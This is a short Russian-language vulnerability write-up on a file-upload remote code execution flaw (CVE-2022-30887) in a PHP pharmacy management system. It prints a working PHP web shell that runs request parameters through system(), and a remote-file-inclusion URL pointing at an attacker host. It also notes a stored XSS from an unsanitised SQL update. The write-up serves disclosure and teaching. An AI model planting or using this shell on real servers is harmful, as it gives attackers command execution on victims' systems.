
Эксплойт-доказательство концепции для CVE-2022-30887, демонстрирующий удаленное выполнение кода через загрузку файла в Pharmacy Management System 1.0, с рекомендациями по смягчению последствий.
Это приложение создано Mayurik Проект системы управления аптекой на PHP был разработан для повышения точности и эффективности работы аптек за счет безопасности и управления. Короче говоря, это приложение для инвентаризации товаров.
В Pharmacy Management System v1.0 была обнаружена уязвимость удаленного выполнения кода (RCE) через компонент "/php_action/editProductImage.php". Эта уязвимость позволяет злоумышленникам выполнять произвольный код через специально созданный файл изображения.
Уязвимости загрузки файлов — это обычно уязвимости, которые позволяют выполнить скрипт. Они срабатывают, когда мы загружаем файл на сервер и вводим команду в загруженный файл. Уязвимости загрузки файлов делятся на два типа;
Эта уязвимость возникает, когда локальные файлы на сервере включают файл, полученный от пользователя. Значения, полученные от пользователя, должны быть обезврежены.
Пример LFI (Local File Inclusion) ;
<?php
if($_REQUEST['s'])
{
system($_REQUEST['s']);
}
else
phpinfo();?>
Эта уязвимость срабатывает, когда злоумышленник загружает вредоносное ПО с удаленного сервера.
Пример RFI (Remote File Inclusion) ;
"www.victim_site.com/abc.php?test=http://www.attacker_site.com/attack_page"

Пример PHP скрипта-оболочки;
<?php
if($_REQUEST['s'])
{
system($_REQUEST['s']);
}
else
phpinfo();?>
Запрос;

Ответ;

Запрос;

Ответ;


Также эта уязвимость все еще активна в приложении.
На той же странице "editproduct.php" я нашел хранимый XSS
$sql = "UPDATE product SET product_name = '$productName'
В этом блоке кода вы можете выйти из контекста с помощью двойных кавычек (")



Я надеюсь, что смог рассказать, как работает уязвимость включения файлов, какая ситуация вызывает эту уязвимость и как предотвратить эту атаку со стороны злоумышленников. Спасибо за ваше драгоценное время.